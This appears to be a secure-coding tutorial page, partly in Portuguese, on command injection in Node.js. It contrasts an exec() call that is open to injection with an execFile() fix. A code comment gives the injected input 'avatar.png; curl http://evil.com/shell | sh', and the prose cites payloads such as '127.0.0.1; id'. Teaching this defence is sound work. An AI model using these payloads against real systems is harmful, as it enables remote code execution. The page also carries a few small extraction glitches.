flawopen.com/command-injection/Javascript
Learn how to fix Command Injection (CWE-78) in JavaScript & Node.js. Side-by-side vulnerable vs secure code examples for child_process.execFile(), spawn(), and exec hazards.
Imagine pedir a um assistente de escritório para imprimir um documento chamado 'relatorio.pdf'. A injeção de comando ocorre quando alguém fornece o nome 'relatorio.pdf; whoami', e o assistente entrega o bilhete inteiro ao terminal, fazendo-o imprimir o relatório e ler o crachá de administrador.
Web Application SecurityCWE-918.CWE-918Defense-in-DepthO aplicativo aceita nomes de host diagnósticos, nomes de arquivo ou flags diretamente de uma requisição HTTP ou formulário de usuário.
O backend constrói uma string de comando shell usando concatenação direta ou formatação em vez de um vetor de argumentos separado.
O invasor injeta metacaracteres shell como ';', '&&', '|' ou crases (ex: '127.0.0.1; id') para quebrar o contexto pretendido do comando.
O shell do sistema operacional executa o comando anexado com todos os privilégios do processo web em execução.
// child_process.exec spawns a shell and parses metacharacters
const { exec } = require('child_process');
function convertImage(filename) {
// Input: "avatar.png; curl http://evil.com/shell | sh"
exec(`convert ${filename} -resize 100x100 out.png`, (err, stdout) => {
console.log(stdout);
});
}
// child_process.execFile executes the binary directly without a shell
const { execFile } = require('child_process');
function convertImage(filename) {
// filename is passed as a literal argument, never parsed as a shell command
execFile('convert', [filename, '-resize', '100x100', 'out.png'], (err, stdout) => {
console.log(stdout);
});
}
exec() calls with execFile() or spawn().spawn().